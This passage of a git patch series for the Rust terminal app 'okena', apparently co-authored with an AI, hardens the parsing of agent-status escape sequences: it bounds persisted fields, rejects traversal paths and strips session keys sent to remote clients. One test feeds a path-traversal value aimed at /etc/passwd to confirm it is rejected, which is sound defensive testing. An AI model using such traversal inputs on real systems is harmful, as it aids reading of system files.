-        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string());
+        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string(), false);
 
         assert_eq!(fm.focused_project_id(), Some(&"proj1".to_string()));
         let state = fm.focused_terminal_state().unwrap();
@@ -757,14 +771,14 @@ mod tests {
         fm.focus_terminal("proj1".to_string(), vec![0]);
         assert!(fm.is_focus_individual());
 
-        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string());
+        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string(), false);
 
         assert!(fm.is_focus_individual());
         assert_eq!(fm.focused_project_id(), Some(&"proj1".to_string()));
         assert_eq!(fm.focused_terminal_state().unwrap().layout_path, vec![1]);
 
         // ...but switching to a DIFFERENT project still resets individual mode.
-        fm.reveal_terminal("proj2".to_string(), vec![0], "term-c".to_string());
+        fm.reveal_terminal("proj2".to_string(), vec![0], "term-c".to_string(), false);
         assert!(!fm.is_focus_individual());
         assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
     }
diff --git a/docs/agent-status.md b/docs/agent-status.md
index f4ccbaf23..636bc985a 100644
--- a/docs/agent-status.md
+++ b/docs/agent-status.md
@@ -23,6 +23,13 @@ shown verbatim.
   Each row shows the lifecycle dot, the terminal name, its project, and the
   free-form text. Click a row to jump straight to that pane. The section hides
   itself when no agent is active.
+
+  The list is deliberately cross-project, so a row can point at a project the
+  current window isn't showing (hidden set, folder filter). Clicking then zooms
+  to that project so the pane is actually reachable — the jump goes through the
+  same window-aware `focus_terminal_by_id` as sidebar clicks, cursor navigation,
+  notification jumps, and remote focus requests, which also keeps a jump made
+  from a fullscreened pane in fullscreen.
 - **Notification** — entering `blocked` or `done` raises a desktop notification
   (+ sound), suppressed for the pane you're actively looking at. Gated by the
   normal notification settings.

From 26ce4de96351b6e38644acc389b5143edf48c5d4 Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 16:34:29 +0200
Subject: [PATCH 08/16] fix(agent-status): address panes by their raw id and
 bound what reaches disk
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Five review findings on the OSC 9001 entry path.

`tid=` never matched. The pane exports `$OKENA_TERMINAL_ID` as the daemon's
raw terminal id, but every client-side `Terminal` — including the desktop
app's own panes, which it consumes through the local daemon — is keyed
`remote:{connection}:{raw}`. The literal comparison was therefore always
false, so the bundled Claude Code plugin's status was dropped on every
client and the blocked/done desktop notification never fired. Match the
unprefixed suffix on a `:` boundary. The existing tests passed only because
they used an unprefixed `Terminal::new("t")`.

`AgentSession.agent` and `.transcript_path` had no bound at all. They are
read pre-clamp (so a label flood cannot hide a session), which left them the
only agent-status fields with no cap — and the only ones persisted. A pane
could put megabytes of chosen bytes into `workspace.json` and re-fire the
dirty edge to rewrite it on every autosave. Bound and reject rather than
truncate, and re-check in `is_valid()` so an already-poisoned file is pruned
on load. `transcript_path` is additionally required to be absolute and free
of `..`, since it is what a harness's transcript parser will open.

Session capture sat behind the lifecycle check, so `st=clear` returned
first — and a harness maps session start/end onto `clear`, i.e. exactly the
two events carrying the identity. Capture now runs for any well-formed
sequence, before `st` is interpreted.

The reserved keys were left in the display labels, shipping `session_id` and
the absolute local `transcript_path` to every paired remote/mobile client on
every `GET /v1/state`. `RESERVED_LABEL_KEYS` existed for this and had no
callers; strip them after capture.

Tests also cover the chunked, duplicate-key, and valid-base64-of-non-UTF-8
edges the parser has to survive.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-core/src/agent_session.rs        | 142 ++++++++++++-
 .../src/terminal/osc_sidecar.rs               |  75 ++++---
 .../okena-terminal/src/terminal/tests/osc.rs  | 195 ++++++++++++++++++
 3 files changed, 383 insertions(+), 29 deletions(-)

diff --git a/crates/okena-core/src/agent_session.rs b/crates/okena-core/src/agent_session.rs
index 4815d6f93..4da3c95eb 100644
--- a/crates/okena-core/src/agent_session.rs
+++ b/crates/okena-core/src/agent_session.rs
@@ -14,6 +14,7 @@
 //! it is ever stored or handed to a resume command.
 
 use serde::{Deserialize, Serialize};
+use std::path::{Component, Path};
 
 /// The agent session running (or last run) in a pane, captured from the
 /// agent-status OSC `lbl=` `agent` / `session_id` / `transcript_path` keys.
@@ -37,6 +38,9 @@ pub struct AgentSession {
     /// Absolute path to the session transcript, when the agent reported one.
     /// Format/location is the harness's concern; here it is just an opaque path
     /// handed to that harness's transcript parser. Drives the stats view.
+    /// Untrusted in-band data — [`is_valid_transcript_path`] gates it on capture
+    /// and again on load, so a harness never opens a traversal or an unbounded
+    /// path. Implementors should still confine it to their own session dir.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub transcript_path: Option<String>,
 }
@@ -47,6 +51,38 @@ pub struct AgentSession {
 /// session identity out of the map (see [`AgentSession::from_labels`]).
 pub const RESERVED_LABEL_KEYS: [&str; 3] = ["agent", "session_id", "transcript_path"];
 
+/// Bounds on the two free-form session fields. `session_id` needs none — it is
+/// UUID-shaped by [`is_uuid_like`] — but `agent` and `transcript_path` are
+/// arbitrary in-band strings that get **persisted to `workspace.json`**, so
+/// without a bound one pane can rewrite the user's state file with megabytes of
+/// chosen bytes on every autosave. These reject rather than truncate: a cut
+/// harness id or path is not a usable value, and rejecting lets the load-time
+/// prune drop an already-poisoned file.
+pub const MAX_AGENT_ID_LEN: usize = 64;
+pub const MAX_TRANSCRIPT_PATH_LEN: usize = 4096;
+
+/// Whether `s` is a usable harness id — bounded and restricted to the shape an
+/// extension id has (`"claude-code"`, `"codex"`, …).
+pub fn is_valid_agent_id(s: &str) -> bool {
+    !s.is_empty()
+        && s.len() <= MAX_AGENT_ID_LEN
+        && s.bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
+}
+
+/// Whether a reported transcript path is safe to store and later hand to a
+/// harness's parser. The value is fully attacker-chosen, so require it to be
+/// bounded, absolute, and free of `..` traversal rather than trusting the
+/// harness to confine it.
+pub fn is_valid_transcript_path(s: &str) -> bool {
+    !s.is_empty()
+        && s.len() <= MAX_TRANSCRIPT_PATH_LEN
+        && Path::new(s).is_absolute()
+        && !Path::new(s)
+            .components()
+            .any(|c| matches!(c, Component::ParentDir))
+}
+
 impl AgentSession {
     /// Extract the session identity from a decoded `lbl=` map, or `None` when
     /// the pane didn't report one.
@@ -56,17 +92,24 @@ impl AgentSession {
     /// [`crate::agent_status::AgentStatus::new_clamped`] bounds it: that clamp
     /// keeps only the lowest [`MAX_LABELS`](crate::agent_status::MAX_LABELS)
     /// keys and truncates values, either of which would silently drop or
-    /// corrupt a valid session.
+    /// corrupt a valid session. Reading pre-clamp means this is the only place
+    /// the session fields get bounded, hence the checks here — they guard the
+    /// one part of an agent status that reaches disk.
     pub fn from_labels(labels: &std::collections::BTreeMap<String, String>) -> Option<Self> {
         let agent = labels.get("agent")?;
         let session_id = labels.get("session_id")?;
-        if agent.is_empty() || !is_uuid_like(session_id) {
+        if !is_valid_agent_id(agent) || !is_uuid_like(session_id) {
             return None;
         }
         Some(Self {
             agent: agent.clone(),
             session_id: session_id.clone(),
-            transcript_path: labels.get("transcript_path").cloned(),
+            // An unusable path is dropped, not a reason to discard the session:
+            // resume only needs `agent` + `session_id`.
+            transcript_path: labels
+                .get("transcript_path")
+                .filter(|p| is_valid_transcript_path(p))
+                .cloned(),
         })
     }
 
@@ -79,10 +122,16 @@ impl AgentSession {
 
     /// Re-validate a session that came from persisted state rather than from
     /// the live parser. `workspace.json` is user-editable and survives across
-    /// versions, so the [`is_uuid_like`] invariant the parser enforces must be
-    /// re-checked before a stored id can reach a resume command.
+    /// versions, so every invariant [`from_labels`](Self::from_labels) enforces
+    /// must be re-checked before a stored id can reach a resume command — and
+    /// so that a file already poisoned by an older build gets pruned on load.
     pub fn is_valid(&self) -> bool {
-        !self.agent.is_empty() && is_uuid_like(&self.session_id)
+        is_valid_agent_id(&self.agent)
+            && is_uuid_like(&self.session_id)
+            && self
+                .transcript_path
+                .as_deref()
+                .is_none_or(is_valid_transcript_path)
     }
 }
 
@@ -164,6 +213,57 @@ mod tests {
         assert_eq!(s.session_id, UUID);
     }
 
+    /// `Path::is_absolute` is platform-dependent, so build a path that is
+    /// genuinely absolute on the host running the test.
+    fn abs(tail: &str) -> String {
+        if cfg!(windows) {
+            format!("C:\\{tail}")
+        } else {
+            format!("/{tail}")
+        }
+    }
+
+    #[test]
+    fn from_labels_bounds_the_fields_that_reach_disk() {
+        // Without a bound here, one pane rewrites workspace.json with megabytes
+        // of chosen bytes on every autosave — the fields are persisted.
+        let huge = "a".repeat(MAX_AGENT_ID_LEN + 1);
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", &huge), ("session_id", UUID)])).is_none()
+        );
+        // A harness id is an extension id, not free-form text.
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", "claude code"), ("session_id", UUID)]))
+                .is_none()
+        );
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", "a/../b"), ("session_id", UUID)]))
+                .is_none()
+        );
+
+        // An unusable transcript path is dropped, but the session survives —
+        // resume needs only `agent` + `session_id`.
+        let long_path = abs(&"p".repeat(MAX_TRANSCRIPT_PATH_LEN));
+        for bad in [long_path.as_str(), "relative/x.jsonl", &abs("a/../../etc/passwd")] {
+            let s = AgentSession::from_labels(&labels(&[
+                ("agent", "claude-code"),
+                ("session_id", UUID),
+                ("transcript_path", bad),
+            ]))
+            .expect("session survives a bad path");
+            assert_eq!(s.transcript_path, None, "should have dropped {bad:?}");
+        }
+
+        let good = abs("home/u/.claude/projects/p/s.jsonl");
+        let s = AgentSession::from_labels(&labels(&[
+            ("agent", "claude-code"),
+            ("session_id", UUID),
+            ("transcript_path", &good),
+        ]))
+        .expect("session");
+        assert_eq!(s.transcript_path.as_deref(), Some(good.as_str()));
+    }
+
     #[test]
     fn is_valid_rejects_tampered_persisted_state() {
         let good = AgentSession {
@@ -182,6 +282,36 @@ mod tests {
         assert!(
             !AgentSession {
                 agent: String::new(),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        // A file poisoned by a build that predated the bounds must be pruned on
+        // load, not carried forward.
+        assert!(
+            !AgentSession {
+                agent: "a".repeat(MAX_AGENT_ID_LEN + 1),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            !AgentSession {
+                transcript_path: Some(abs(&"p".repeat(MAX_TRANSCRIPT_PATH_LEN))),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            !AgentSession {
+                transcript_path: Some("relative/x.jsonl".to_string()),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            AgentSession {
+                transcript_path: Some(abs("home/u/s.jsonl")),
                 ..good
             }
             .is_valid()
diff --git a/crates/okena-terminal/src/terminal/osc_sidecar.rs b/crates/okena-terminal/src/terminal/osc_sidecar.rs
index 35785fd69..cdb8f9258 100644
--- a/crates/okena-terminal/src/terminal/osc_sidecar.rs
+++ b/crates/okena-terminal/src/terminal/osc_sidecar.rs
@@ -1,6 +1,6 @@
 use alacritty_terminal::vte::Perform;
 use base64::Engine as _;
-use okena_core::agent_session::AgentSession;
+use okena_core::agent_session::{AgentSession, RESERVED_LABEL_KEYS};
 use okena_core::agent_status::{AgentLifecycle, AgentStatus};
 use parking_lot::Mutex;
 use std::collections::HashMap;
@@ -340,7 +340,7 @@ impl SidecarPerform {
         // than showing nothing. `tid` is optional — senders that omit it (and
         // anything predating it) are still accepted.
         if let Some(tid) = tid
-            && tid != self.terminal_id
+            && !self.addresses_this_pane(tid)
         {
             log::debug!(
                 "agent-status[{}]: dropping status addressed to {tid:?}",
@@ -357,6 +357,36 @@ impl SidecarPerform {
             return; // no state field — nothing to do
         };
 
+        // Decode the agent-supplied fields BEFORE taking the lock — base64 of a
+        // hostile multi-MB payload must not run while holding `agent_status`.
+        let mut labels = lbl_b64
+            .and_then(decode_osc_base64)
+            .map(|json| okena_core::agent_status::parse_labels_json(&json))
+            .unwrap_or_default();
+
+        // Durable session capture (resume + transcript stats). The `agent` +
+        // `session_id` labels are the pane's *sticky* session identity, NOT part
+        // of the ephemeral status — record them on a separate field that
+        // survives `st=clear`, so the pane can later offer to resume or show
+        // stats. Read from the RAW label map: `new_clamped` below keeps only the
+        // lowest `MAX_LABELS` keys and truncates values, so reading the reserved
+        // keys after it would let a label flood hide a valid session (and a long
+        // path be silently cut).
+        //
+        // Captured for *any* well-formed sequence carrying it, before the `st`
+        // is interpreted: identity is orthogonal to lifecycle, and the two hook
+        // events that carry it (session start/end) are exactly the ones a
+        // harness maps to `clear`.
+        if let Some(session) = AgentSession::from_labels(&labels) {
+            self.record_agent_session(session);
+        }
+        // The reserved keys are session identity, not display labels. Drop them
+        // so `session_id` and the absolute local `transcript_path` don't ride
+        // `AgentStatus.labels` out to every paired remote / mobile client.
+        for key in RESERVED_LABEL_KEYS {
+            labels.remove(key);
+        }
+
         if st == "clear" {
             let mut slot = self.agent_status.lock();
             let changed = slot.is_some();
@@ -379,34 +409,13 @@ impl SidecarPerform {
             return; // unknown state — ignore, leave current status as-is
         };
 
-        // Decode the agent-supplied fields BEFORE taking the lock — base64 of a
-        // hostile multi-MB payload must not run while holding `agent_status`.
         // `new_clamped` bounds the decoded sizes (a pane could otherwise pin
         // unbounded memory we then re-serialize to every remote client) and
         // maps an empty `msg=` to `None` so a notifying state keeps its default
         // body instead of an empty string.
         let custom = msg_b64.and_then(decode_osc_base64);
-        let labels = lbl_b64
-            .and_then(decode_osc_base64)
-            .map(|json| okena_core::agent_status::parse_labels_json(&json))
-            .unwrap_or_default();
-
-        // Durable session capture (resume + transcript stats). The `agent` +
-        // `session_id` labels are the pane's *sticky* session identity, NOT part
-        // of the ephemeral status — record them on a separate field that
-        // survives `st=clear`, so the pane can later offer to resume or show
-        // stats. Read from the RAW label map: `new_clamped` below keeps only the
-        // lowest `MAX_LABELS` keys and truncates values, so reading the reserved
-        // keys after it would let a label flood hide a valid session (and a long
-        // path be silently cut).
-        let reported_session = AgentSession::from_labels(&labels);
-
         let new_status = AgentStatus::new_clamped(lifecycle, custom, labels);
 
-        if let Some(session) = reported_session {
-            self.record_agent_session(session);
-        }
-
         // Notify only on a *transition* into a notifying state, so repeated
         // identical reports don't ping. Decide while holding the slot (we need
         // the previous value), then release it before touching the notification
@@ -444,6 +453,26 @@ impl SidecarPerform {
         }
     }
 
+    /// Whether an OSC `tid=` addresses *this* pane.
+    ///
+    /// The sender echoes `$OKENA_TERMINAL_ID`, which the daemon exports as the
+    /// **raw** terminal id. A client-side `Terminal` — including the desktop
+    /// app's own panes, which it consumes through the local daemon — is keyed
+    /// `remote:{connection}:{raw}` (`okena_transport::client::id::make_prefixed_id`),
+    /// so a literal comparison rejects every correctly-stamped status. Accept
+    /// the unprefixed suffix too; ids are UUIDs, so this cannot realistically
+    /// collide across connections.
+    fn addresses_this_pane(&self, tid: &str) -> bool {
+        if self.terminal_id == tid {
+            return true;
+        }
+        !tid.is_empty()
+            && self
+                .terminal_id
+                .strip_suffix(tid)
+                .is_some_and(|prefix| prefix.ends_with(':'))
+    }
+
     /// Store the session identity a pane just reported, marking the persist
     /// edge when it actually changed.
     ///
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index c96756848..fa8100113 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1689,3 +1689,198 @@ fn test_agent_session_not_captured_from_a_foreign_pane() {
     assert_eq!(terminal.agent_session(), None);
     assert!(!terminal.take_agent_session_dirty());
 }
+
+#[test]
+fn test_agent_status_accepts_a_tid_matching_the_unprefixed_pane_id() {
+    let transport = Arc::new(NullTransport);
+    // Client-side terminals — including the desktop app's own panes, served by
+    // the local daemon — are keyed `remote:{connection}:{raw}`, while the pane's
+    // `$OKENA_TERMINAL_ID` is the daemon's raw id. A literal comparison rejected
+    // every correctly-stamped status, so nothing the bundled plugin emits landed.
+    let terminal = Terminal::new(
+        "remote:conn-1:3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working;tid=3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Working),
+    );
+
+    // A different raw id is still rejected — the suffix must be whole and
+    // sit on a `:` boundary.
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    terminal.process_output(b"\x1b]9001;st=blocked;tid=0c1d2e3f4a5b\x07");
+    assert_eq!(terminal.agent_status(), None);
+}
+
+#[test]
+fn test_agent_session_captured_on_clear() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // A harness maps session start/end onto `clear` — exactly the two events
+    // that carry the identity. Capture must not sit behind the lifecycle check.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=clear;lbl={lbl}\x07").as_bytes());
+
+    assert_eq!(terminal.agent_status(), None, "clear still clears");
+    let session = terminal.agent_session().expect("session captured on clear");
+    assert_eq!(session.session_id, uuid);
+    assert!(terminal.take_agent_session_dirty());
+}
+
+#[test]
+fn test_agent_status_strips_reserved_session_keys_from_labels() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // `labels` is serialized to every paired remote / mobile client. The
+    // reserved keys are session identity — the local transcript path and the
+    // session id must not ride out with the display labels.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let path = if cfg!(windows) {
+        "C:\\Users\\u\\.claude\\projects\\p\\s.jsonl"
+    } else {
+        "/home/u/.claude/projects/p/s.jsonl"
+    };
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"{}","branch":"main"}}"#,
+        path.replace('\\', "\\\\")
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let status = terminal.agent_status().expect("status");
+    for key in okena_core::agent_session::RESERVED_LABEL_KEYS {
+        assert!(
+            !status.labels.contains_key(key),
+            "reserved key {key:?} leaked into the wire labels: {:?}",
+            status.labels
+        );
+    }
+    assert_eq!(status.labels.get("branch").map(String::as_str), Some("main"));
+
+    // ...but the session itself still captured them.
+    let session = terminal.agent_session().expect("session");
+    assert_eq!(session.session_id, uuid);
+    assert_eq!(session.transcript_path.as_deref(), Some(path));
+}
+
+#[test]
+fn test_agent_session_rejects_unbounded_agent_and_transcript_path() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // These two fields are the part of an agent status that reaches disk, so
+    // an unbounded value would be rewritten into workspace.json on every save.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let huge = "a".repeat(okena_core::agent_session::MAX_AGENT_ID_LEN + 1);
+    let lbl = b64(&format!(
+        r#"{{"agent":"{huge}","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+    assert_eq!(terminal.agent_session(), None);
+
+    let long_path = format!(
+        "{}{}",
+        if cfg!(windows) { "C:\\" } else { "/" },
+        "p".repeat(okena_core::agent_session::MAX_TRANSCRIPT_PATH_LEN)
+    );
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"{long_path}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+    let session = terminal.agent_session().expect("session survives a bad path");
+    assert_eq!(session.transcript_path, None);
+}
+
+#[test]
+fn test_agent_status_split_across_reads() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // A PTY read can land anywhere in the sequence; the sidecar parser is
+    // stateful across calls, like the OSC 0 / OSC 7 chunked cases.
+    terminal.process_output(b"\x1b]9001;st=blo");
+    assert_eq!(terminal.agent_status(), None, "incomplete — nothing yet");
+    terminal.process_output(b"cked\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Blocked),
+    );
+}
+
+#[test]
+fn test_agent_status_duplicate_keys_take_the_last() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // Last-wins is load-bearing for the `tid` guard: a hostile prefix must not
+    // be able to shadow a later, correct value (or vice versa).
+    terminal.process_output(b"\x1b]9001;st=working;st=done\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Done),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    terminal.process_output(b"\x1b]9001;st=working;tid=t;tid=elsewhere\x07");
+    assert_eq!(terminal.agent_status(), None, "the last tid decides");
+}
+
+#[test]
+fn test_agent_status_valid_base64_of_invalid_utf8_drops_the_field() {
+    use base64::Engine as _;
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // Decodable base64 whose bytes are not UTF-8 — distinct from the
+    // undecodable-base64 case, and it must not panic or poison the status.
+    let bad = base64::engine::general_purpose::STANDARD.encode([0xff, 0xfe, 0xfd]);
+    terminal.process_output(format!("\x1b]9001;st=done;msg={bad}\x07").as_bytes());
+
+    let status = terminal.agent_status().expect("lifecycle still applied");
+    assert_eq!(status.lifecycle, okena_core::agent_status::AgentLifecycle::Done);
+    assert_eq!(status.custom, None);
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent finished")],
+        "an undecodable msg falls back to the default body",
+    );
+}

From 8cd995e5cacdfa047b8ef389217ed0c7bb0100ff Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 16:40:13 +0200
Subject: [PATCH 09/16] fix(agent-status): make the harness registry reachable
 from the daemon
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The standalone `okena-daemon` binary never called `agent_harness::init`, and
structurally could not: both impls lived in `okena-ext-claude` /
`okena-ext-codex`, which depend on gpui, while the daemon is CI-gated
GPUI-free. So `for_agent()` returned `None` there and auto-resume was a
silent no-op in the deployment that owns restore — the registry's own doc
claim that it is "kept gpui-free so they work in the desktop app AND in
headless/remote" was unachievable as structured.

A harness is pure data (an id and a fixed argv), so move both into a new
gpui-free `okena-agent-harnesses` crate and install it from every binary
that can reach a restore path. `cargo tree -p okena-daemon` stays clean.

Also make the failures visible instead of silent: `init` warns when a second
install is ignored, and `resume_command_line` warns on a `for_agent` miss
rather than bailing at a bare `?` between two branches that both log.

The release build compiled `-p okena -p okena-daemon` in one invocation.
Cargo unifies features across every package selected in one invocation, so
`okena` requiring `okena-workspace/gpui` and `okena-app-core/gpui` enabled
those for the daemon's copy too — linking GPUI into the binary the gate
exists to keep clean, where `cargo tree -p okena-daemon` alone would never
see it. Split into two invocations in CI and in bundle-macos.sh.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 .github/workflows/build.yml             |  13 ++-
 Cargo.lock                              |  10 ++
 Cargo.toml                              |   6 +-
 crates/okena-agent-harnesses/Cargo.toml |  13 +++
 crates/okena-agent-harnesses/src/lib.rs | 130 ++++++++++++++++++++++++
 crates/okena-core/src/agent_harness.rs  |  43 ++++++--
 crates/okena-daemon/Cargo.toml          |   4 +
 crates/okena-daemon/src/main.rs         |   6 ++
 crates/okena-ext-claude/src/harness.rs  |  55 ----------
 crates/okena-ext-claude/src/lib.rs      |   2 -
 crates/okena-ext-codex/src/harness.rs   |  32 ------
 crates/okena-ext-codex/src/lib.rs       |   2 -
 scripts/bundle-macos.sh                 |   7 +-
 src/main.rs                             |  16 +--
 14 files changed, 222 insertions(+), 117 deletions(-)
 create mode 100644 crates/okena-agent-harnesses/Cargo.toml
 create mode 100644 crates/okena-agent-harnesses/src/lib.rs
 delete mode 100644 crates/okena-ext-claude/src/harness.rs
 delete mode 100644 crates/okena-ext-codex/src/harness.rs

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 4ce5b961b..e2697e586 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -170,8 +170,17 @@ jobs:
       - name: Build web client
         run: cd web && bun install --frozen-lockfile && bun run build
 
-      - name: Build
-        run: cargo build --release --target ${{ matrix.target }} -p okena -p okena-daemon
+      # Two invocations on purpose. Cargo unifies features across every package
+      # selected in ONE invocation, so `-p okena -p okena-daemon` together would
+      # turn on `okena-workspace/gpui` (which `okena` needs) for the daemon's
+      # copy too — linking gpui and its X11/Wayland/Vulkan chain into the very
+      # binary the GPUI-free gate exists to keep clean. The gate runs
+      # `cargo tree -p okena-daemon` alone, so it would not see it.
+      - name: Build app
+        run: cargo build --release --target ${{ matrix.target }} -p okena
+
+      - name: Build daemon (separate resolution — keeps it GPUI-free)
+        run: cargo build --release --target ${{ matrix.target }} -p okena-daemon
 
       - name: Prepare artifact (Linux)
         if: runner.os == 'Linux'
diff --git a/Cargo.lock b/Cargo.lock
index 0bd28e475..c7ec6c8f1 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -5994,6 +5994,7 @@ dependencies = [
  "gpui_platform",
  "log",
  "mimalloc",
+ "okena-agent-harnesses",
  "okena-app",
  "okena-cli",
  "okena-core",
@@ -6016,6 +6017,14 @@ dependencies = [
  "winresource",
 ]
 
+[[package]]
+name = "okena-agent-harnesses"
+version = "0.27.0"
+dependencies = [
+ "log",
+ "okena-core",
+]
+
 [[package]]
 name = "okena-app"
 version = "0.27.0"
@@ -6122,6 +6131,7 @@ dependencies = [
  "anyhow",
  "env_logger",
  "log",
+ "okena-agent-harnesses",
  "okena-core",
  "okena-daemon-core",
  "okena-remote-server",
diff --git a/Cargo.toml b/Cargo.toml
index 7e73f95e6..a10441c54 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -1,5 +1,5 @@
 [workspace]
-members = [".", "crates/okena-mobile-ffi", "crates/okena-core", "crates/okena-transport", "crates/okena-git", "crates/okena-views-git", "crates/okena-views-services", "crates/okena-views-sidebar", "crates/okena-views-terminal", "crates/okena-terminal", "crates/okena-layout", "crates/okena-state", "crates/okena-hooks", "crates/okena-workspace", "crates/okena-ui", "crates/okena-usage", "crates/okena-files", "crates/okena-markdown", "crates/okena-extensions", "crates/okena-ext-claude", "crates/okena-ext-codex", "crates/okena-ext-github", "crates/okena-ext-updater", "crates/okena-services", "crates/okena-remote-client", "crates/okena-remote-server", "crates/okena-views-remote", "crates/okena-theme", "crates/okena-cli", "crates/okena-app-core", "crates/okena-app", "crates/okena-daemon-core", "crates/okena-daemon", "crates/okena-tui"]
+members = [".", "crates/okena-mobile-ffi", "crates/okena-core", "crates/okena-transport", "crates/okena-git", "crates/okena-views-git", "crates/okena-views-services", "crates/okena-views-sidebar", "crates/okena-views-terminal", "crates/okena-terminal", "crates/okena-layout", "crates/okena-state", "crates/okena-hooks", "crates/okena-workspace", "crates/okena-ui", "crates/okena-usage", "crates/okena-files", "crates/okena-markdown", "crates/okena-extensions", "crates/okena-ext-claude", "crates/okena-ext-codex", "crates/okena-ext-github", "crates/okena-ext-updater", "crates/okena-services", "crates/okena-remote-client", "crates/okena-remote-server", "crates/okena-views-remote", "crates/okena-theme", "crates/okena-cli", "crates/okena-app-core", "crates/okena-app", "crates/okena-daemon-core", "crates/okena-daemon", "crates/okena-tui", "crates/okena-agent-harnesses"]
 resolver = "2"
 
 [workspace.package]
@@ -35,6 +35,10 @@ okena-ui = { path = "crates/okena-ui" }
 okena-remote-server = { path = "crates/okena-remote-server" }
 okena-daemon-core = { path = "crates/okena-daemon-core" }
 
+# Built-in agent harnesses (resume argv per agent id), installed at startup.
+# gpui-free on purpose so the standalone daemon binary links the same ones.
+okena-agent-harnesses = { path = "crates/okena-agent-harnesses" }
+
 # Extension system — registered at startup in main.rs.
 okena-extensions = { path = "crates/okena-extensions" }
 okena-ext-claude = { path = "crates/okena-ext-claude" }
diff --git a/crates/okena-agent-harnesses/Cargo.toml b/crates/okena-agent-harnesses/Cargo.toml
new file mode 100644
index 000000000..e659b2629
--- /dev/null
+++ b/crates/okena-agent-harnesses/Cargo.toml
@@ -0,0 +1,13 @@
+[package]
+name = "okena-agent-harnesses"
+version.workspace = true
+edition = "2024"
+license = "MIT"
+
+# Deliberately minimal, and deliberately GPUI-free: this crate is linked by the
+# standalone `okena-daemon` binary, which CI gates against any gpui in its
+# dependency tree. Keep it that way — anything needing a UI belongs in the
+# matching `okena-ext-*` crate instead.
+[dependencies]
+okena-core = { path = "../okena-core" }
+log = "0.4"
diff --git a/crates/okena-agent-harnesses/src/lib.rs b/crates/okena-agent-harnesses/src/lib.rs
